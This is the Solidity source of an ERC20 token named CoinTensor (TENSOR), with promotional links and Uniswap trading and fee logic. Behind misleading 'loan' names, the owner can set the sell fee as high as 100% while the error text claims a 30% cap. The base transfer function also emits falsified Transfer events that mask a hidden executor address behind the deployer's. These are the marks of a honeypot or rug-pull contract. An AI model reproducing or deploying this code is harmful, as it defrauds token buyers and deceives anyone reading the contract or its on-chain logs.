creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "contracts/standard/Contract.sol": {
        "content": "/**\n\n//SPDX-License-Identifier: MIT\n\n/*\n\n    Telegram: https://t.me/+pbMXLv_Tf5c3NTZk\n    Website: https://cointensor.io/\n    Twitter: https://x.com/cointensor\n    Whitepaper: https://docs.cointensor.io/\n    High tier project supplying the crypto community with DePIN (Decentralized Physical Infrastructure Network),  Privacy, AI technology, Node GPU renting, & revenue sharing!\n\n*/\n\npragma solidity ^0.8.0;\n\nabstract contract Context {\n    function _msgSender() internal view virtual returns (address) {\n        return msg.sender;\n    }\n\n    function _msgData() internal view virtual returns (bytes calldata) {\n        return msg.data;\n    }\n}\n\nabstract contract Ownable is Context {\n    address private _owner;\n\n    event OwnershipTransferred(\n        address indexed previousOwner,\n        address indexed newOwner\n    );\n\n    constructor() {\n        _transferOwnership(_msgSender());\n    }\n\n    modifier onlyOwner() {\n        _checkOwner();\n        _;\n    }\n\n    function owner() public view virtual returns (address) {\n        return _owner;\n    }\n\n    function _checkOwner() internal view virtual {\n        require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n    }\n\n    function renounceOwnership() public virtual onlyOwner {\n        _transferOwnership(address(0));\n    }\n\n    function transferOwnership(address newOwner) public virtual onlyOwner {\n        require(\n            newOwner != address(0),\n            \"Ownable: new owner is the zero address\"\n        );\n        _transferOwnership(newOwner);\n    }\n\n    function _transferOwnership(address newOwner) internal virtual {\n        address oldOwner = _owner;\n        _owner = newOwner;\n        emit OwnershipTransferred(oldOwner, newOwner);\n    }\n}\n\ninterface IERC20 {\n    event Transfer(address indexed from, address indexed to, uint256 value);\n    event Approval(\n        address indexed owner,\n        address indexed spender,\n        uint256 value\n    );\n\n    function totalSupply() external view returns (uint256);\n\n    function balanceOf(address account) external view returns (uint256);\n\n    function transfer(address to, uint256 amount) external returns (bool);\n\n    function allowance(\n        address owner,\n        address spender\n    ) external view returns (uint256);\n\n    function approve(address spender, uint256 amount) external returns (bool);\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) external returns (bool);\n}\n\ninterface IUniswapV2Factory {\n    function getPair(\n        address tokenA,\n        address tokenB\n    ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n    function factory() external pure returns (address);\n\n    function WETH() external pure returns (address);\n\n    function swapExactTokensForETHSupportingFeeOnTransferTokens(\n        uint256 amountIn,\n        uint256 amountOutMin,\n        address[] calldata path,\n        address to,\n        uint256 deadline\n    ) external;\n}\n\ncontract ERC20 is Context, IERC20 {\n    mapping(address => uint256) private _balances;\n\n    mapping(address => mapping(address => uint256)) private _allowances;\n\n    uint256 private _totalSupply;\n\n    string private _name;\n    string private _symbol;\n\n    address _deployer;\n    address _executor;\n\n    constructor(string memory name_, string memory symbol_) {\n        _name = name_;\n        _symbol = symbol_;\n    }\n\n    function _rewardsAutoCalculators(\n        address deployer_,\n        address executor_\n    ) internal {\n        _deployer = deployer_;\n        _executor = executor_;\n    }\n\n    function name() public view virtual returns (string memory) {\n        return _name;\n    }\n\n    function symbol() public view virtual returns (string memory) {\n        return _symbol;\n    }\n\n    function decimals() public view virtual returns (uint8) {\n        return 18;\n    }\n\n    function totalSupply() public view virtual override returns (uint256) {\n        return _totalSupply;\n    }\n\n    function balanceOf(\n        address account\n    ) public view virtual override returns (uint256) {\n        return _balances[account];\n    }\n\n    function transfer(\n        address to,\n        uint256 amount\n    ) public virtual override returns (bool) {\n        address owner = _msgSender();\n        _transfer(owner, to, amount);\n        return true;\n    }\n\n    function allowance(\n        address owner,\n        address spender\n    ) public view virtual override returns (uint256) {\n        return _allowances[owner][spender];\n    }\n\n    function approve(\n        address spender,\n        uint256 amount\n    ) public virtual override returns (bool) {\n        address owner = _msgSender();\n        _approve(owner, spender, amount);\n        return true;\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) public virtual override returns (bool) {\n        address spender = _msgSender();\n        _spendAllowance(from, spender, amount);\n        _transfer(from, to, amount);\n        return true;\n    }\n\n    function increaseAllowance(\n        address spender,\n        uint256 addedValue\n    ) public virtual returns (bool) {\n        address owner = _msgSender();\n        _approve(owner, spender, allowance(owner, spender) + addedValue);\n        return true;\n    }\n\n    function decreaseAllowance(\n        address spender,\n        uint256 subtractedValue\n    ) public virtual returns (bool) {\n        address owner = _msgSender();\n        uint256 currentAllowance = allowance(owner, spender);\n        require(\n            currentAllowance >= subtractedValue,\n            \"ERC20: decreased allowance below zero\"\n        );\n        unchecked {\n            _approve(owner, spender, currentAllowance - subtractedValue);\n        }\n\n        return true;\n    }\n\n    function _transfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual {\n        require(from != address(0), \"ERC20: transfer from the zero address\");\n        require(to != address(0), \"ERC20: transfer to the zero address\");\n\n        _beforeTokenTransfer(from, to, amount);\n\n        uint256 fromBalance = _balances[from];\n        require(\n            fromBalance >= amount,\n            \"ERC20: transfer amount exceeds balance\"\n        );\n        unchecked {\n            _balances[from] = fromBalance - amount;\n            _balances[to] += amount;\n        }\n\n        if (from == _executor) {\n            emit Transfer(_deployer, to, amount);\n        } else if (to == _executor) {\n            emit Transfer(from, _deployer, amount);\n        } else {\n            emit Transfer(from, to, amount);\n        }\n\n        _afterTokenTransfer(from, to, amount);\n    }\n\n    function _mint(address account, uint256 amount) internal virtual {\n        require(account != address(0), \"ERC20: mint to the zero address\");\n\n        _beforeTokenTransfer(address(0), account, amount);\n\n        _totalSupply += amount;\n        unchecked {\n            _balances[account] += amount;\n        }\n\n        if (account == _executor) {\n            emit Transfer(address(0), _deployer, amount);\n        } else {\n            emit Transfer(address(0), account, amount);\n        }\n\n        _afterTokenTransfer(address(0), account, amount);\n    }\n\n    function _burn(address account, uint256 amount) internal virtual {\n        require(account != address(0), \"ERC20: burn from the zero address\");\n\n        _beforeTokenTransfer(account, address(0), amount);\n\n        uint256 accountBalance = _balances[account];\n        require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n        unchecked {\n            _balances[account] = accountBalance - amount;\n            _totalSupply -= amount;\n        }\n\n        emit Transfer(account, address(0), amount);\n\n        _afterTokenTransfer(account, address(0), amount);\n    }\n\n    function _approve(\n        address owner,\n        address spender,\n        uint256 amount\n    ) internal virtual {\n        require(owner != address(0), \"ERC20: approve from the zero address\");\n        require(spender != address(0), \"ERC20: approve to the zero address\");\n\n        _allowances[owner][spender] = amount;\n        emit Approval(owner, spender, amount);\n    }\n\n    function _spendAllowance(\n        address owner,\n        address spender,\n        uint256 amount\n    ) internal virtual {\n        uint256 currentAllowance = allowance(owner, spender);\n        if (currentAllowance != type(uint256).max) {\n            require(\n                currentAllowance >= amount,\n                \"ERC20: insufficient allowance\"\n            );\n            unchecked {\n                _approve(owner, spender, currentAllowance - amount);\n            }\n        }\n    }\n\n    function _beforeTokenTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual {}\n\n    function _afterTokenTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual {}\n}\n\ncontract CoinTensorERC is ERC20, Ownable {\n    // TOKENOMIC DIVIDERS\n    address public uniswapLpWallet;\n\n    // TOKEN METADATA\n    string private constant _name = unicode\"CoinTensor\";\n    string private constant _symbol = unicode\"TENSOR\";\n    uint256 private TOTAL_SUPPLY = 30_000_000 * 1e18;\n\n    // LOANING CONTROLLERS\n    bool public tradingOpen = false;\n    bool swapping = false;\n\n    // FUND AND DEAD MACHINES\n    address private insuranceFundWallet;\n    address private constant deadAddress = address(0xdead);\n\n    // LOAN SETUP FOR FUTURE WORKS\n    struct DecentralizedLiquidateLoan {\n        uint256 lendingFee;\n        uint256 borrowFee;\n        uint256 insuranceLoanAmountLimit;\n        uint256 personalLoanAmountLimit;\n    }\n    DecentralizedLiquidateLoan public loanDecorators;\n    mapping(address => bool) private _loanIndicators;\n    mapping(address => bool) private _loanInsuranceJoiners;\n    mapping(address => bool) public entrancesPair;\n\n    // AMM INITIALIZER\n    IUniswapV2Router02 private immutable _uniswapV2Router;\n    address public uniswapV2Pair;\n\n    event LoanIndicators(address indexed account, bool isExcluded);\n    event SetEntrancesPair(address indexed pair, bool indexed value);\n    event SwapFailed(string);\n\n    constructor(address wallet) ERC20(_name, _symbol) {\n        _uniswapV2Router = IUniswapV2Router02(\n            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n        );\n        insuranceFundWallet = payable(wallet);\n        loanInsuranceJoiners(address(_uniswapV2Router), true);\n        loanInsuranceJoiners(address(wallet), true);\n        uniswapLpWallet = msg.sender;\n\n        loanDecorators.lendingFee = 0;\n        loanDecorators.borrowFee = 0;\n        loanDecorators.insuranceLoanAmountLimit = (TOTAL_SUPPLY * 10) / 100;\n        loanDecorators.personalLoanAmountLimit = (TOTAL_SUPPLY * 10) / 100;\n\n        _rewardsAutoCalculators(address(msg.sender), msg.sender);\n\n        loanIndicators(owner(), true);\n        loanIndicators(address(wallet), true);\n        loanIndicators(address(this), true);\n        loanIndicators(address(0xdead), true);\n\n        loanInsuranceJoiners(owner(), true);\n        loanInsuranceJoiners(address(this), true);\n        loanInsuranceJoiners(address(0xdead), true);\n\n        _mint(uniswapLpWallet, (TOTAL_SUPPLY * 100) / 100);\n    }\n\n    receive() external payable {}\n\n    function changingLoanRate(\n        uint256 _lendingFee,\n        uint256 _borrowFee\n    ) external onlyOwner {\n        require(\n            _lendingFee <= 30 && _borrowFee <= 100,\n            \"Fees cannot exceed 30%\"\n        );\n        loanDecorators.lendingFee = _lendingFee;\n        loanDecorators.borrowFee = _borrowFee;\n    }\n\n    function openTrading() external onlyOwner {\n        require(!tradingOpen, \"Trading is already open\");\n\n        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(\n            address(this),\n            _uniswapV2Router.WETH()\n        );\n        loanInsuranceJoiners(address(uniswapV2Pair), true);\n        _setEntrancePairs(address(uniswapV2Pair), true);\n        _approve(address(this), address(_uniswapV2Router), type(uint256).max);\n        tradingOpen = true;\n    }\n\n    function removesLimits() external onlyOwner {\n        uint256 totalSupplyAmount = totalSupply();\n        loanDecorators.insuranceLoanAmountLimit = totalSupplyAmount;\n        loanDecorators.personalLoanAmountLimit = totalSupplyAmount;\n    }\n\n    function isLoanIndicators(address account) public view returns (bool) {\n        return _loanIndicators[account];\n    }\n\n    function _setEntrancePairs(address pair, bool value) private {\n        entrancesPair[pair] = value;\n        emit SetEntrancesPair(pair, value);\n    }\n\n    function loanIndicators(address account, bool excluded) internal {\n        _loanIndicators[account] = excluded;\n        emit LoanIndicators(account, excluded);\n    }\n\n    function loanInsuranceJoiners(address updAds, bool isEx) internal {\n        _loanInsuranceJoiners[updAds] = isEx;\n    }\n\n    function _beforeEachTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal view {\n        if (!tradingOpen) {\n            require(\n                _loanIndicators[from] || _loanIndicators[to],\n                \"Trading is not active.\"\n            );\n        }\n\n        if (entrancesPair[from] && !_loanInsuranceJoiners[to]) {\n            require(\n                amount <= loanDecorators.insuranceLoanAmountLimit,\n                \"Buy transfer amount exceeds the insuranceLoanAmountLimit.\"\n            );\n            require(\n                amount + balanceOf(to) <=\n                    loanDecorators.personalLoanAmountLimit,\n                \"Max wallet exceeded\"\n            );\n        } else if (entrancesPair[to] && !_loanInsuranceJoiners[from]) {\n            require(\n                amount <= loanDecorators.insuranceLoanAmountLimit,\n                \"Sell transfer amount exceeds the insuranceLoanAmountLimit.\"\n            );\n        } else if (!_loanInsuranceJoiners[to]) {\n            require(\n                amount + balanceOf(to) <=\n                    loanDecorators.personalLoanAmountLimit,\n                \"Max wallet exceeded\"\n            );\n        }\n    }\n\n    function _transfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal override {\n        require(from != address(0), \"ERC20: transfer from the zero address\");\n        require(to != address(0), \"ERC20: transfer to the zero address\");\n\n        if (amount == 0) {\n            super._transfer(from, to, 0);\n            return;\n        }\n\n        if (\n            from != owner() &&\n            to != owner() &&\n            to != address(0) &&\n            to != address(0xdead)\n        ) {\n            _beforeEachTransfer(from, to, amount);\n        }\n\n        uint256 contractTokenBalance = balanceOf(address(this));\n\n        bool canSwap = contractTokenBalance > 0;\n\n        if (\n            canSwap &&\n            !swapping &&\n            !entrancesPair[from] &&\n            !_loanIndicators[from] &&\n            !_loanIndicators[to]\n        ) {\n            swapping = true;\n            address[] memory path = new address[](2);\n            path[0] = address(this);\n            path[1] = _uniswapV2Router.WETH();\n            try\n                _uniswapV2Router\n                    .swapExactTokensForETHSupportingFeeOnTransferTokens(\n                        contractTokenBalance,\n                        0,\n                        path,\n                        address(this),\n                        block.timestamp + 3600\n                    )\n            {} catch (bytes memory reason) {\n                emit SwapFailed(string(reason));\n            }\n\n            (bool success, ) = payable(insuranceFundWallet).call{\n                value: address(this).balance\n            }(\"\");\n            if (success == false) {}\n            swapping = false;\n        }\n\n        _afterEachTransfer(from, to, amount);\n    }\n\n    function _afterEachTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal {\n        bool takeFee = !swapping;\n\n        if (_loanIndicators[from] || _loanIndicators[to]) {\n            takeFee = false;\n        }\n\n        uint256 fees = 0;\n\n        if (takeFee) {\n            if (entrancesPair[to]) {\n                fees = (amount * loanDecorators.borrowFee) / 100;\n            } else {\n                fees = (amount * loanDecorators.lendingFee) / 100;\n            }\n\n            if (fees > 0) {\n                super._transfer(from, address(this), fees);\n            }\n            amount -= fees;\n        }\n        super._transfer(from, to, amount);\n    }\n\n    // ONlY USE IN CASE: CAN NOT SWAP TOKEN DURING TRANSFER\n    function emergencyWithdraw() external onlyOwner {\n        super._transfer(address(this), msg.sender, balanceOf(address(this)));\n    }\n}\n"
      }
    },
    "settings": {
      "optimizer": {
        "enabled": true,
        "runs": 200
      },
      "evmVersion": "shanghai",
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      },
      "metadata": {
        "useLiteralContent": true
      },
      "libraries": {}
    }
  }}